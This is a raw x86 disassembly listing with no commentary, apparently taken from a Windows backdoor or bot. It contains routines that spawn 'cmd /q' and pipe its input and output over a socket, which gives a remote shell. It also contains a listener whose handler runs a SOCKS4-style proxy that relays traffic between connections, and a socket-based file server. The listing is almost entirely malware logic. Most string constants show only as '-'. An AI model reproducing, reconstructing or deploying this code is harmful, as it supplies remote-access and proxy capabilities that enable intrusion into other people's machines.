		push	[ebp+var_8]
		push	[ebp+var_4]
		call	sub_4119A0
		add	esp, 0Ch
		mov	[esi+8], eax
		push	[ebp+var_4]
		call	edi	; CloseHandle
		push	[ebp+var_8]
		call	edi	; CloseHandle
		cmp	dword ptr [esi+8], 0
		jnz	short loc_411995
		push	offset unk_44B4E0
		call	sub_415C3F

loc_411960:				; CODE XREF: sub_4118A7+89j
		cmp	[ebp+var_4], 0
		pop	ecx
		jz	short loc_41196C
		push	[ebp+var_4]
		call	edi	; CloseHandle

loc_41196C:				; CODE XREF: sub_4118A7+BEj
		cmp	[ebp+var_8], 0
		jz	short loc_411977
		push	[ebp+var_8]
		call	edi	; CloseHandle

loc_411977:				; CODE XREF: sub_4118A7+C9j
		mov	eax, [esi]
		test	eax, eax
		jz	short loc_411980
		push	eax
		call	edi	; CloseHandle

loc_411980:				; CODE XREF: sub_4118A7+D4j
		mov	eax, [esi+4]
		test	eax, eax
		jz	short loc_41198A
		push	eax
		call	edi	; CloseHandle

loc_41198A:				; CODE XREF: sub_4118A7+DEj
		push	esi		; Memory
		call	_free
		pop	ecx

loc_411991:				; CODE XREF: sub_4118A7+1Dj
		xor	eax, eax
		jmp	short loc_41199B
; ---------------------------------------------------------------------------

loc_411995:				; CODE XREF: sub_4118A7+ADj
		or	dword ptr [esi+0Ch], 0FFFFFFFFh
		mov	eax, esi

loc_41199B:				; CODE XREF: sub_4118A7+ECj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_4118A7	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4119A0	proc near		; CODE XREF: sub_4118A7+94p

Dst		= dword	ptr -58h
var_54		= dword	ptr -54h
var_50		= dword	ptr -50h
var_4C		= dword	ptr -4Ch
var_48		= dword	ptr -48h
var_44		= dword	ptr -44h
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_2C		= dword	ptr -2Ch
var_28		= word ptr -28h
var_26		= word ptr -26h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= byte ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 58h
		push	ebx
		push	esi
		push	edi
		push	44h
		pop	edi
		xor	esi, esi
		push	edi		; Size
		lea	eax, [ebp+Dst]
		push	esi		; Val
		push	eax		; Dst
		mov	[ebp+var_4], esi
		call	_memset
		push	10h		; Size
		lea	eax, [ebp+var_14]
		push	esi		; Val
		push	eax		; Dst
		call	_memset
		mov	eax, [ebp+arg_0]
		mov	ebx, [ebp+arg_4]
		add	esp, 18h
		mov	[ebp+var_20], eax
		lea	eax, [ebp+var_18]
		mov	[ebp+Dst], edi
		mov	edi, ds:dword_4F53CC
		push	esi
		push	1
		push	2
		push	eax
		mov	[ebp+var_54], esi
		mov	[ebp+var_4C], esi
		mov	[ebp+var_50], esi
		mov	[ebp+var_3C], esi
		mov	[ebp+var_40], esi
		mov	[ebp+var_44], esi
		mov	[ebp+var_48], esi
		mov	[ebp+var_28], si
		mov	[ebp+var_24], esi
		mov	[ebp+var_26], si
		mov	[ebp+var_2C], 101h
		mov	[ebp+var_1C], ebx
		call	edi	; GetCurrentProcess
		push	eax
		push	ebx
		call	edi	; GetCurrentProcess
		push	eax
		call	ds:dword_4F53C8	; DuplicateHandle
		lea	eax, [ebp+var_14]
		push	eax
		lea	eax, [ebp+Dst]
		push	eax
		push	esi
		push	esi
		push	esi
		push	1
		push	esi
		push	esi
		push	offset aCmdQ	; "cmd /q"
		push	esi
		call	ds:dword_4F5340	; CreateProcessA
		test	eax, eax
		jz	short loc_411A5C
		mov	eax, [ebp+arg_8]
		mov	ecx, [ebp+var_C]
		imul	eax, 234h
		push	[ebp+var_10]
		mov	esi, [ebp+var_14]
		mov	dword_456020[eax], ecx
		call	ds:dword_4F533C	; CloseHandle
		jmp	short loc_411A72
; ---------------------------------------------------------------------------

loc_411A5C:				; CODE XREF: sub_4119A0+9Aj
		call	ds:dword_4F5360	; RtlGetLastWin32Error
		push	eax		; Args
		push	offset asc_44B510 ; "-"
		call	sub_415CB3
		mov	esi, [ebp+var_4]
		pop	ecx
		pop	ecx

loc_411A72:				; CODE XREF: sub_4119A0+BAj
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_4119A0	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_411A79	proc near		; DATA XREF: sub_411756+3Fo

var_1B0		= byte ptr -1B0h
var_C8		= byte ptr -0C8h
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 1B0h
		push	ebx
		push	esi
		mov	ebx, ds:dword_4F53BC
		push	edi
		mov	edi, [ebp+arg_0]
		lea	eax, [ebp+arg_0]
		push	0
		push	eax
		lea	eax, [ebp+var_C8]
		push	0C8h
		push	eax
		push	dword ptr [edi]

loc_411AA2:				; CODE XREF: sub_411A79+8Fj
		call	ebx	; ReadFile
		test	eax, eax
		jz	short loc_411B0A
		xor	eax, eax
		xor	dl, dl
		xor	esi, esi
		cmp	[ebp+arg_0], eax
		jbe	short loc_411ADD

loc_411AB3:				; CODE XREF: sub_411A79+62j
		mov	cl, [ebp+esi+var_C8]
		cmp	cl, 0Ah
		jnz	short loc_411ACD
		cmp	dl, 0Dh
		jz	short loc_411ACD
		mov	[ebp+eax+var_1B0], 0Dh
		inc	eax

loc_411ACD:				; CODE XREF: sub_411A79+44j
					; sub_411A79+49j
		mov	[ebp+eax+var_1B0], cl
		inc	eax
		inc	esi
		mov	dl, cl
		cmp	esi, [ebp+arg_0]
		jb	short loc_411AB3

loc_411ADD:				; CODE XREF: sub_411A79+38j
		push	0
		push	eax
		lea	eax, [ebp+var_1B0]
		push	eax
		push	dword ptr [edi+0Ch]
		call	dword_4E3148	; send
		test	eax, eax
		jle	short loc_411B0A
		lea	eax, [ebp+arg_0]
		push	0
		push	eax
		lea	eax, [ebp+var_C8]
		push	0C8h
		push	eax
		push	dword ptr [edi]
		jmp	short loc_411AA2
; ---------------------------------------------------------------------------

loc_411B0A:				; CODE XREF: sub_411A79+2Dj
					; sub_411A79+79j
		mov	esi, ds:dword_4F5360
		call	esi	; RtlGetLastWin32Error
		cmp	eax, 6Dh
		jz	short loc_411B26
		call	esi	; RtlGetLastWin32Error
		push	eax		; Args
		push	offset asc_44B548 ; "-"
		call	sub_415CB3
		pop	ecx
		pop	ecx

loc_411B26:				; CODE XREF: sub_411A79+9Cj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_411A79	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_411B2B	proc near		; DATA XREF: sub_411756+71o

var_DC		= byte ptr -0DCh
var_14		= byte ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= byte ptr -8
var_7		= byte ptr -7
var_6		= byte ptr -6
var_5		= byte ptr -5
var_4		= byte ptr -4
var_3		= byte ptr -3
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 0DCh
		push	ebx
		push	esi
		xor	ebx, ebx
		push	edi
		mov	edi, [ebp+arg_0]
		xor	esi, esi
		mov	[ebp+var_10], ebx
		mov	[ebp+var_C], ebx

loc_411B44:				; CODE XREF: sub_411B2B+39j
					; sub_411B2B+D7j ...
		push	ebx
		lea	eax, [ebp+arg_0+3]
		push	1
		push	eax
		push	dword ptr [edi+0Ch]
		call	dword_4E3110	; recv
		test	eax, eax
		jle	loc_411C49
		cmp	[ebp+var_10], ebx
		jbe	short loc_411B66
		dec	[ebp+var_10]
		jmp	short loc_411B44
; ---------------------------------------------------------------------------

loc_411B66:				; CODE XREF: sub_411B2B+34j
		mov	al, byte ptr [ebp+arg_0+3]
		movsx	ecx, al
		cmp	ecx, 0FFh
		jz	loc_411C29
		cmp	al, 8
		mov	[ebp+var_C], ebx
		jz	short loc_411BD6
		cmp	al, 7Fh
		jz	short loc_411BD6
		cmp	al, 3
		jnz	short loc_411B91
		push	ebx
		push	ebx
		call	ds:dword_4F5400	; GenerateConsoleCtrlEvent
		jmp	short loc_411BFD
; ---------------------------------------------------------------------------

loc_411B91:				; CODE XREF: sub_411B2B+5Aj
		cmp	al, 15h
		jnz	short loc_411BB3
		xor	esi, esi
		mov	[ebp+var_8], 20h
		mov	[ebp+var_7], 58h
		mov	[ebp+var_6], 58h
		mov	[ebp+var_5], 58h
		mov	[ebp+var_4], 0Dh
		mov	[ebp+var_3], 0Ah
		push	6
		jmp	short loc_411BE9
; ---------------------------------------------------------------------------

loc_411BB3:				; CODE XREF: sub_411B2B+68j
		mov	[ebp+esi+var_DC], al
		inc	esi
		push	1
		cmp	al, 0Dh
		mov	[ebp+var_8], al
		pop	ecx
		jnz	short loc_411BEA
		mov	[ebp+esi+var_DC], 0Ah
		mov	[ebp+var_7], 0Ah
		inc	esi
		push	2
		jmp	short loc_411BE9
; ---------------------------------------------------------------------------

loc_411BD6:				; CODE XREF: sub_411B2B+52j
					; sub_411B2B+56j
		cmp	esi, ebx
		jbe	short loc_411C00
		dec	esi
		mov	[ebp+var_8], 8
		mov	[ebp+var_7], 20h
		mov	[ebp+var_6], 8
		push	3

loc_411BE9:				; CODE XREF: sub_411B2B+86j
					; sub_411B2B+A9j
		pop	ecx

loc_411BEA:				; CODE XREF: sub_411B2B+98j
		push	ebx
		lea	eax, [ebp+var_8]
		push	ecx
		push	eax
		push	dword ptr [edi+0Ch]
		call	dword_4E3148	; send
		test	eax, eax
		jle	short loc_411C49

loc_411BFD:				; CODE XREF: sub_411B2B+64j
		mov	al, byte ptr [ebp+arg_0+3]

loc_411C00:				; CODE XREF: sub_411B2B+ADj
		cmp	al, 0Dh
		jnz	loc_411B44
		lea	eax, [ebp+var_14]
		push	ebx
		push	eax
		lea	eax, [ebp+var_DC]
		push	esi
		push	eax
		push	dword ptr [edi+4]
		call	ds:dword_4F53B4	; WriteFile
		test	eax, eax
		jz	short loc_411C49
		xor	esi, esi
		jmp	loc_411B44
; ---------------------------------------------------------------------------

loc_411C29:				; CODE XREF: sub_411B2B+47j
		cmp	[ebp+var_C], ebx
		jnz	short loc_411C3A
		mov	[ebp+var_C], 1
		jmp	loc_411B44
; ---------------------------------------------------------------------------

loc_411C3A:				; CODE XREF: sub_411B2B+101j
		mov	[ebp+var_10], 0Ah
		mov	[ebp+var_C], ebx
		jmp	loc_411B44
; ---------------------------------------------------------------------------

loc_411C49:				; CODE XREF: sub_411B2B+2Bj
					; sub_411B2B+D0j ...
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_411B2B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_411C4E	proc near		; DATA XREF: sub_401CC7+2BF8o

Source		= byte ptr -2D4h
var_D4		= dword	ptr -0D4h
Str		= byte ptr -0D0h
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_28		= dword	ptr -28h
var_24		= byte ptr -24h
var_22		= word ptr -22h
var_20		= dword	ptr -20h
Dst		= word ptr -14h
var_12		= word ptr -12h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 2D4h
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		push	10h
		mov	esi, eax
		pop	ebx
		lea	edi, [ebp+var_D4]
		push	2Ch
		mov	[ebp+var_4], ebx
		pop	ecx
		rep movsd
		push	1
		xor	esi, esi
		pop	edi
		mov	[eax+0A8h], edi
		push	ebx		; Size
		lea	eax, [ebp+Dst]
		push	esi		; Val
		push	eax		; Dst
		call	_memset
		add	esp, 0Ch
		mov	[ebp+Dst], 2
		push	[ebp+var_40]
		call	dword_4E30F8	; htons
		push	6
		push	edi
		push	2
		mov	[ebp+var_12], ax
		mov	[ebp+var_10], esi
		call	dword_4E3178	; socket
		mov	edi, eax
		mov	eax, [ebp+var_3C]
		imul	eax, 234h
		push	ebx
		mov	dword_456024[eax], edi
		lea	eax, [ebp+Dst]
		push	eax
		push	edi
		call	dword_4E3124	; bind
		test	eax, eax
		jnz	loc_411DF0
		push	0Ah
		push	edi
		call	dword_4E3120	; listen
		test	eax, eax
		jnz	loc_411DF0
		push	[ebp+var_40]
		push	[ebp+var_D4]
		call	sub_40AF71
		pop	ecx
		push	eax
		lea	eax, [ebp+Source]
		push	offset asc_44B584 ; "-"
		push	eax		; Dest
		call	_sprintf
		add	esp, 10h
		cmp	[ebp+var_30], esi
		jnz	short loc_411D29
		push	esi		; int
		lea	eax, [ebp+Source]
		push	[ebp+var_34]	; int
		push	eax		; int
		lea	eax, [ebp+Str]
		push	eax		; Str
		push	[ebp+var_D4]	; int
		call	sub_409D34
		add	esp, 14h

loc_411D29:				; CODE XREF: sub_411C4E+B9j
					; sub_411C4E+172j ...
		lea	eax, [ebp+Source]
		push	eax
		call	sub_415C3F
		pop	ecx
		lea	eax, [ebp+var_4]
		push	eax
		lea	eax, [ebp+var_24]
		push	eax
		push	edi
		call	dword_4E318C	; accept
		push	[ebp+var_3C]
		mov	ebx, eax
		movzx	eax, [ebp+var_22]
		push	eax
		mov	[ebp+var_28], esi
		push	[ebp+var_20]
		call	dword_4E3184	; inet_ntoa
		push	eax
		lea	eax, [ebp+Source]
		push	offset asc_44B5AC ; "-"
		push	eax		; Dest
		call	_sprintf
		push	ebx		; int
		lea	eax, [ebp+Source]
		push	19h		; int
		push	eax		; Source
		call	sub_40B756
		mov	[ebp+var_38], eax
		imul	eax, 234h
		mov	ecx, [ebp+var_3C]
		add	esp, 20h
		mov	dword_45601C[eax], ecx
		lea	eax, [ebp+arg_0]
		push	eax
		lea	eax, [ebp+var_D4]
		push	esi
		push	eax
		push	offset sub_411E53
		push	esi
		push	esi
		call	ds:dword_4F5350	; CreateThread
		mov	ecx, [ebp+var_38]
		imul	ecx, 234h
		cmp	eax, esi
		mov	dword_45602C[ecx], eax
		jz	short loc_411DD0

loc_411DBD:				; CODE XREF: sub_411C4E+180j
		cmp	[ebp+var_28], esi
		jnz	loc_411D29
		push	5
		call	ds:dword_4F534C	; Sleep
		jmp	short loc_411DBD
; ---------------------------------------------------------------------------

loc_411DD0:				; CODE XREF: sub_411C4E+16Dj
		call	ds:dword_4F5360	; RtlGetLastWin32Error
		push	eax
		lea	eax, [ebp+Source]
		push	offset asc_44B5F0 ; "-"
		push	eax		; Dest
		call	_sprintf
		add	esp, 0Ch
		jmp	loc_411D29
; ---------------------------------------------------------------------------

loc_411DF0:				; CODE XREF: sub_411C4E+7Bj
					; sub_411C4E+8Cj
		push	edi
		call	dword_4E3190	; closesocket
		push	[ebp+var_40]
		lea	eax, [ebp+Source]
		push	offset asc_44B62C ; "-"
		push	eax		; Dest
		call	_sprintf
		add	esp, 0Ch
		cmp	[ebp+var_30], esi
		jnz	short loc_411E33
		push	esi		; int
		lea	eax, [ebp+Source]
		push	[ebp+var_34]	; int
		push	eax		; int
		lea	eax, [ebp+Str]
		push	eax		; Str
		push	[ebp+var_D4]	; int
		call	sub_409D34
		add	esp, 14h

loc_411E33:				; CODE XREF: sub_411C4E+1C3j
		lea	eax, [ebp+Source]
		push	eax
		call	sub_415C3F
		push	[ebp+var_3C]
		call	sub_40BA72
		pop	ecx
		pop	ecx
		push	esi
		call	ds:dword_4F53A0	; ExitThread
		pop	edi
		pop	esi
		pop	ebx
sub_411C4E	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_411E53	proc near		; DATA XREF: sub_411C4E+14Fo

var_5D4		= dword	ptr -5D4h
var_5D0		= dword	ptr -5D0h
var_4D0		= byte ptr -4D0h
var_4CF		= byte ptr -4CFh
var_4CE		= word ptr -4CEh
var_4CC		= dword	ptr -4CCh
Dst		= byte ptr -4C8h
var_C8		= byte ptr -0C8h
Str2		= byte ptr -44h
var_2C		= dword	ptr -2Ch
var_18		= word ptr -18h
var_16		= word ptr -16h
var_14		= dword	ptr -14h
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 5D4h
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		push	2Ch
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp+var_C8]
		rep movsd
		mov	esi, [ebp+var_2C]
		push	1
		mov	[ebp+arg_0], esi
		imul	esi, 234h
		pop	edi
		lea	esi, dword_456024[esi]
		mov	[eax+0ACh], edi
		xor	ebx, ebx
		mov	eax, [esi]
		mov	[ebp+var_8], 5
		mov	[ebp+var_5D0], eax
		lea	eax, [ebp+var_8]
		push	eax
		push	ebx
		lea	eax, [ebp+var_5D4]
		push	ebx
		push	eax
		push	ebx
		mov	[ebp+var_4], ebx
		mov	[ebp+var_5D4], edi
		call	dword_4E30E0	; select
		test	eax, eax
		jnz	short loc_411ED4
		push	dword ptr [esi]
		call	dword_4E3190	; closesocket
		push	[ebp+arg_0]
		call	sub_40BA72
		pop	ecx
		push	ebx
		call	ds:dword_4F53A0	; ExitThread

loc_411ED4:				; CODE XREF: sub_411E53+67j
		push	ebx
		lea	eax, [ebp+var_4D0]
		push	408h
		push	eax
		push	dword ptr [esi]
		call	dword_4E3110	; recv
		test	eax, eax
		jg	short loc_411F05
		push	dword ptr [esi]
		call	dword_4E3190	; closesocket
		push	[ebp+arg_0]
		call	sub_40BA72
		pop	ecx
		push	ebx
		call	ds:dword_4F53A0	; ExitThread

loc_411F05:				; CODE XREF: sub_411E53+98j
		cmp	[ebp+var_4D0], 4
		jnz	loc_4120FF
		cmp	[ebp+var_4CF], 1
		jnz	loc_4120FF
		cmp	[ebp+Str2], bl
		jz	short loc_411F9B
		lea	eax, [ebp+Str2]
		push	eax		; Str2
		lea	eax, [ebp+Dst]
		push	eax		; Str1
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_411F9B
		lea	eax, [ebp+Str2]
		push	eax
		lea	eax, [ebp+Dst]
		push	eax		; Args
		push	offset dword_44B660 ; Format
		call	sub_415CB3
		push	400h		; Size
		lea	eax, [ebp+Dst]
		push	ebx		; Val
		push	eax		; Dst
		mov	[ebp+var_4D0], bl
		mov	[ebp+var_4CF], 5Dh
		call	_memset
		add	esp, 18h
		lea	eax, [ebp+var_4D0]
		push	ebx
		push	8
		push	eax
		push	dword ptr [esi]
		call	dword_4E3148	; send
		push	dword ptr [esi]
		call	dword_4E3190	; closesocket
		push	[ebp+arg_0]
		call	sub_40BA72
		pop	ecx
		push	ebx
		call	ds:dword_4F53A0	; ExitThread

loc_411F9B:				; CODE XREF: sub_411E53+CFj
					; sub_411E53+E5j
		push	10h		; Size
		lea	eax, [ebp+var_18]
		push	ebx		; Val
		push	eax		; Dst
		call	_memset
		mov	ax, [ebp+var_4CE]
		add	esp, 0Ch
		mov	[ebp+var_16], ax
		mov	eax, [ebp+var_4CC]
		push	6
		push	edi
		push	2
		mov	[ebp+var_18], 2
		mov	[ebp+var_14], eax
		call	dword_4E3178	; socket
		mov	edi, eax
		cmp	edi, 0FFFFFFFFh
		jnz	short loc_412033
		call	dword_4E308C	; WSAGetLastError
		push	eax		; Args
		push	offset dword_44B6A0 ; Format
		call	sub_415CB3
		push	400h		; Size
		lea	eax, [ebp+Dst]
		push	ebx		; Val
		push	eax		; Dst
		mov	[ebp+var_4D0], bl
		mov	[ebp+var_4CF], 5Bh
		call	_memset
		add	esp, 14h
		lea	eax, [ebp+var_4D0]
		push	ebx
		push	8
		push	eax
		push	dword ptr [esi]
		call	dword_4E3148	; send
		push	dword ptr [esi]
		call	dword_4E3190	; closesocket
		push	[ebp+arg_0]
		call	sub_40BA72
		pop	ecx
		push	ebx
		call	ds:dword_4F53A0	; ExitThread

loc_412033:				; CODE XREF: sub_411E53+181j
		lea	eax, [ebp+var_18]
		push	10h
		push	eax
		push	edi
		call	dword_4E30A0	; connect
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_4120A2
		call	dword_4E308C	; WSAGetLastError
		push	eax		; Args
		push	offset dword_44B6E0 ; Format
		call	sub_415CB3
		push	400h		; Size
		lea	eax, [ebp+Dst]
		push	ebx		; Val
		push	eax		; Dst
		mov	[ebp+var_4D0], bl
		mov	[ebp+var_4CF], 5Bh
		call	_memset
		add	esp, 14h
		lea	eax, [ebp+var_4D0]
		push	ebx
		push	8
		push	eax
		push	dword ptr [esi]
		call	dword_4E3148	; send
		push	dword ptr [esi]
		call	dword_4E3190	; closesocket
		push	[ebp+arg_0]
		call	sub_40BA72
		pop	ecx
		push	ebx
		call	ds:dword_4F53A0	; ExitThread

loc_4120A2:				; CODE XREF: sub_411E53+1F0j
		push	400h		; Size
		lea	eax, [ebp+Dst]
		push	ebx		; Val
		push	eax		; Dst
		mov	[ebp+var_4D0], bl
		mov	[ebp+var_4CF], 5Ah
		call	_memset
		add	esp, 0Ch
		lea	eax, [ebp+var_4D0]
		push	ebx
		push	8
		push	eax
		push	dword ptr [esi]
		call	dword_4E3148	; send
		push	dword ptr [esi]
		push	edi
		call	sub_412117
		pop	ecx
		pop	ecx
		push	edi
		call	dword_4E3190	; closesocket
		push	dword ptr [esi]
		call	dword_4E3190	; closesocket
		push	[ebp+arg_0]
		call	sub_40BA72
		pop	ecx
		push	ebx
		call	ds:dword_4F53A0	; ExitThread

loc_4120FF:				; CODE XREF: sub_411E53+B9j
					; sub_411E53+C6j
		push	dword ptr [esi]
		call	dword_4E3190	; closesocket
		push	[ebp+arg_0]
		call	sub_40BA72
		pop	ecx
		push	ebx
		call	ds:dword_4F53A0	; ExitThread
sub_411E53	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_412117	proc near		; CODE XREF: sub_411E53+286p

Dst		= byte ptr -504h
var_104		= dword	ptr -104h
var_100		= dword	ptr -100h
var_FC		= dword	ptr -0FCh
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 504h
		push	ebx
		mov	ebx, [ebp+arg_4]
		push	esi
		push	edi
		xor	edi, edi
		mov	esi, 400h

loc_41212D:				; CODE XREF: sub_412117+C5j
					; sub_412117+F5j
		mov	[ebp+var_100], ebx
		mov	[ebp+var_104], 1
		xor	ecx, ecx
		lea	eax, [ebp+var_100]

loc_412145:				; CODE XREF: sub_412117+3Cj
		mov	edx, [ebp+arg_0]
		cmp	[eax], edx
		jz	short loc_412155
		inc	ecx
		add	eax, 4
		cmp	ecx, 1
		jb	short loc_412145

loc_412155:				; CODE XREF: sub_412117+33j
		cmp	ecx, 1
		jnz	short loc_41216A
		mov	[ebp+var_FC], edx
		mov	[ebp+var_104], 2

loc_41216A:				; CODE XREF: sub_412117+41j
		push	esi		; Size
		lea	eax, [ebp+Dst]
		push	edi		; Val
		push	eax		; Dst
		call	_memset
		add	esp, 0Ch
		lea	eax, [ebp+var_104]
		push	edi
		push	edi
		push	edi
		push	eax
		push	edi
		call	dword_4E30E0	; select
		lea	eax, [ebp+var_104]
		push	eax
		push	ebx
		call	dword_4E2FE4	; __WSAFDIsSet
		test	eax, eax
		jz	short loc_4121CA
		push	edi
		lea	eax, [ebp+Dst]
		push	esi
		push	eax
		push	ebx
		call	dword_4E3110	; recv
		cmp	eax, 0FFFFFFFFh
		jz	short loc_412212
		push	edi
		push	eax
		lea	eax, [ebp+Dst]
		push	eax
		push	[ebp+arg_0]
		call	dword_4E3148	; send
		cmp	eax, 0FFFFFFFFh
		jz	short loc_412212

loc_4121CA:				; CODE XREF: sub_412117+85j
		lea	eax, [ebp+var_104]
		push	eax
		push	[ebp+arg_0]
		call	dword_4E2FE4	; __WSAFDIsSet
		test	eax, eax
		jz	loc_41212D
		push	edi
		lea	eax, [ebp+Dst]
		push	esi
		push	eax
		push	[ebp+arg_0]
		call	dword_4E3110	; recv
		cmp	eax, 0FFFFFFFFh
		jz	short loc_412212
		push	edi
		push	eax
		lea	eax, [ebp+Dst]
		push	eax
		push	ebx
		call	dword_4E3148	; send
		cmp	eax, 0FFFFFFFFh
		jnz	loc_41212D

loc_412212:				; CODE XREF: sub_412117+9Aj
					; sub_412117+B1j ...
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_412117	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_412217	proc near		; CODE XREF: sub_412217:loc_412688p
					; DATA XREF: sub_401CC7+20FEo ...

var_87C		= dword	ptr -87Ch
var_878		= dword	ptr -878h
var_778		= dword	ptr -778h
var_578		= byte ptr -578h
var_577		= byte ptr -577h
var_576		= byte ptr -576h
var_575		= byte ptr -575h
DstBuf		= byte ptr -574h
var_374		= dword	ptr -374h
Filename	= byte ptr -370h
Str		= byte ptr -26Ch
var_168		= dword	ptr -168h
var_164		= dword	ptr -164h
var_160		= dword	ptr -160h
var_15C		= byte ptr -15Ch
var_DC		= dword	ptr -0DCh
var_D8		= dword	ptr -0D8h
var_D0		= byte ptr -0D0h
var_CF		= byte ptr -0CFh
var_CE		= byte ptr -0CEh
var_CD		= byte ptr -0CDh
Dest		= byte ptr -50h
var_3C		= byte ptr -3Ch
var_38		= dword	ptr -38h
Dst		= word ptr -2Ch
var_2A		= word ptr -2Ah
var_28		= dword	ptr -28h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
File		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 87Ch
		mov	edx, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		push	1
		xor	ebx, ebx
		pop	eax
		mov	ecx, 0A9h
		mov	esi, edx
		lea	edi, [ebp+var_374]
		push	ebx
		push	2
		rep movsd
		inc	[ebp+var_164]
		push	2
		mov	[ebp+var_10], eax
		mov	[ebp+var_14], eax
		mov	[ebp+var_8], eax
		mov	[edx+2A0h], eax
		call	dword_4E3178	; socket
		mov	esi, eax
		cmp	esi, 0FFFFFFFFh
		jnz	short loc_4122B7
		push	190h
		call	ds:dword_4F534C	; Sleep
		cmp	[ebp+var_D8], ebx
		jnz	short loc_412297
		push	ebx		; int
		lea	eax, [ebp+var_778]
		push	[ebp+var_DC]	; int
		push	eax		; int
		lea	eax, [ebp+var_15C]
		push	eax		; Str
		push	[ebp+var_374]	; int
		call	sub_409D34
		add	esp, 14h

loc_412297:				; CODE XREF: sub_412217+5Bj
		lea	eax, [ebp+var_778]
		push	eax
		call	sub_415C3F
		push	[ebp+var_168]
		call	sub_40BA72
		pop	ecx
		pop	ecx
		push	ebx
		call	ds:dword_4F53A0	; ExitThread

loc_4122B7:				; CODE XREF: sub_412217+48j
		lea	eax, [ebp+var_10]
		push	4
		push	eax
		mov	edi, 0FFFFh
		push	4
		push	edi
		push	esi
		call	dword_4E30D8	; setsockopt
		lea	eax, [ebp+var_14]
		push	4
		push	eax
		push	0FFFFFFFBh
		push	edi
		push	esi
		call	dword_4E30D8	; setsockopt
		mov	eax, [ebp+var_168]
		push	10h		; Size
		imul	eax, 234h
		push	ebx		; Val
		mov	dword_456024[eax], esi
		lea	eax, [ebp+Dst]
		push	eax		; Dst
		call	_memset
		add	esp, 0Ch
		mov	[ebp+Dst], 2
		push	[ebp+var_160]
		call	dword_4E30F8	; htons
		mov	[ebp+var_2A], ax
		lea	eax, [ebp+Dst]
		push	10h
		push	eax
		push	esi
		mov	[ebp+var_28], ebx
		call	dword_4E3124	; bind
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_412341
		push	1388h
		call	ds:dword_4F534C	; Sleep
		dec	[ebp+var_164]
		push	[ebp+arg_0]
		jmp	loc_412688
; ---------------------------------------------------------------------------

loc_412341:				; CODE XREF: sub_412217+10Fj
		lea	eax, [ebp+Filename]
		push	offset aRb_0	; "rb"
		push	eax		; Filename
		call	_fopen
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		mov	[ebp+File], eax
		jnz	short loc_4123A7
		push	190h
		call	ds:dword_4F534C	; Sleep
		push	ebx		; int
		lea	eax, [ebp+var_778]
		push	[ebp+var_DC]	; int
		push	eax		; int
		lea	eax, [ebp+var_15C]
		push	eax		; Str
		push	[ebp+var_374]	; int
		call	sub_409D34
		lea	eax, [ebp+var_778]
		push	eax
		call	sub_415C3F
		push	[ebp+var_168]
		call	sub_40BA72
		add	esp, 1Ch
		push	ebx
		call	ds:dword_4F53A0	; ExitThread

loc_4123A7:				; CODE XREF: sub_412217+142j
					; sub_412217+42Bj
		mov	edi, [ebp+arg_0]
		cmp	[edi+2A0h], ebx
		jz	loc_41264B
		mov	edi, 80h
		lea	eax, [ebp+var_D0]
		push	edi		; Size
		push	ebx		; Val
		push	eax		; Dst
		mov	[ebp+var_1C], 5
		mov	[ebp+var_18], 1388h
		mov	[ebp+var_878], esi
		mov	[ebp+var_87C], 1
		call	_memset
		add	esp, 0Ch
		lea	eax, [ebp+var_1C]
		push	eax
		push	ebx
		lea	eax, [ebp+var_87C]
		push	ebx
		push	eax
		push	ebx
		call	dword_4E30E0	; select
		test	eax, eax
		jle	loc_41263F
		mov	al, byte_4E5EA4
		mov	ecx, edi
		mov	[ebp+var_578], al
		xor	eax, eax
		lea	edi, [ebp+var_577]
		mov	[ebp+var_C], 10h
		rep stosd
		stosw
		stosb
		lea	eax, [ebp+var_C]
		push	eax
		lea	eax, [ebp+var_3C]
		push	eax
		push	ebx
		lea	eax, [ebp+var_D0]
